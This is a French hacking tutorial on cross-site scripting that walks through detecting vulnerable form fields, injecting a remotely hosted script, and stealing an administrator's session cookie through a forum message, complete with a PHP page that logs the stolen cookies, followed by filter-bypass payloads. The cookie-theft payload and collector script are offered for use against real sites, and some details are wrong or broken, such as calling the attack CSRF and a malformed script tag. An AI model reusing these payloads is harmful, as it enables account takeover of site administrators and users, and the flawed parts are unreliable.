Failles XSS

Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page. Elle permet ainsi de provoquer des actions sur les navigateurs web visitant la page.

Elle est liée à un code HTML qui n'est pas paralysé.

Comment la détecter :

Dans les formulaires les personnes sont censées entrer des données “formatées” d'une certaine façon.

Par exemple dans un champs pseudo on s’attend à ce que la personne entre quelque chose comme : isileaks ou is1leaks.

Si nous rentrons cela :

<b> coucou </b>

Si vous voyez apparaitre “coucou” en gras à coter du champs, le code est faillible.

Le code html c'est gentil mais injectons quelque chose de plus sérieux :

Du javascript :

<script> alert('coucou') </script>

Si une pop-up s'ouvre c'est que le champ est faillible et que nous pourrons l'exploiter avec du JS.

Méthode 1:

On va injecter notre code javascript sur le site faillible

<script src=“http://monsite.com/monscript.js”</script>

Pour faire cela vous allez avoir besoin d'un serveur web sur lequel vous allez héberger votre script js.

Dans notre script js nous mettrons :

<script> alert("hack by XSS")</script>

Cela aurait pour effet d'afficher une pop-up lorsque la page du site faillible s'ouvrira.

Le code que je vous ai donné n'aura pas d’effet grave sur la victime mais vous pouvez faire de grandes choses avec du JS.

Méthode 2: CSRF

La CSRF (Cross-Site Request Forgery) est une attaque visant à faire exécuter une action à un utilisateur sans qu'il en soit conscient.

Le principe :

Envoyer un message (par exemple sur un forum qui est faillible au xss) à l'administrateur.

Dans le contenu du message nous allons mettre notre code javascript :

<script>window.open("http://monserveur/mapage.php?cookie="+document.cookie)</script>

Ce code javascript a pour effet d'envoyer le contenu du cookie vers votre site web.

De votre coté il vous faudra un serveur web ainsi qu'une page php contenant:

<?php

if(!empty($_GET["cookie"])) {

    $fp = fopen("getCookie.log", "a+");

    if($fp) {

        $dateTime = new DateTime("NOW");

        fputs($fp, $dateTime->format("Y-m-d h:i:s"). " : ".htmlspecialchars($_GET["cookie"])."\n");

        fclose($fp);

    }

}



if(!empty($_GET["admin"])) {

    $fp = fopen("getCookie.log", "r");

    while($lig = fgets($fp)) {

        echo $lig."<br>";

    }

    fclose($fp);

}

?>

Lorsque l'administrateur va lire le message, la valeur de son cookie sera récupérée sur votre page php.

Pour consulter cette valeur il vous suffira de vous rendre sur la page getCookie.log qui va se crée automatiquement.

En cas d'authentification par cookie vous pourrez vous connecter en tant qu'admin.

ByPassing des protections contre les XSS:

Il arrive parfois que des protections soient mises en place pour empêcher ce genre d'attaque, voici quelques techniques pour bypasser ces protections.

Bypassing magic_quotes_gpc :

La fonction magic_quotes_gpc=on en php modifie les quotes qu'elles soient simple ou double (' ou “) en backslash (\). Par exemple <script>alert(“Coucou”);</script> sera filtré en <script>alert(\Coucou\);</script> empêchant ainsi le script de fonctionner. Alors comment faire ?! Utiliser les caractères ASCII !

notre Coucou devient par exemple : String.fromCharCode(67, 111, 117, 99, 111, 117) Ce qui donne

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 67, 111, 117, 99, 111, 117, 34, 41, 59)</script>

–> Qui sera normalement exécuté ! Pas de quote présente, aucun filtre à réalisé.

Bypassing avec des valeurs Hexa :

Nous pouvons aussi convertir notre payload en hexa, notre <script>alert(“Coucou”);</script> devient :

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%43%6f%75%63%6f%75%22%29%3b%3c%2f%73%63%72%69%70%74%3e

Bypassing par obfuscation :

Il arrive parfois qu'un administrateur de site un peu feignant ne daigne pas insérer une réelle protection et filtre les mots script, alert etc … un simple

<ScRiPt>AlErT("Coucou");</sCrIpT>

fera l'affaire !

Cela bien sur marche de moins en moins, mais parfois… ça suffit !

Bypassing par fermeture de tag :

Parfois il est nécessaire de fermer une balise afin que notre script soit exécuté : Par exemple : Le contenu du Name est directement injecté dans l’attribut “class” de la balise qui contiendra le message envoyé.

User"><script>alert("Coucou");</script>

Source :http://venom630.free.fr/geo/tutz/securite_informatique/xss/

http://www.bases-hacking.org/faille-xss.html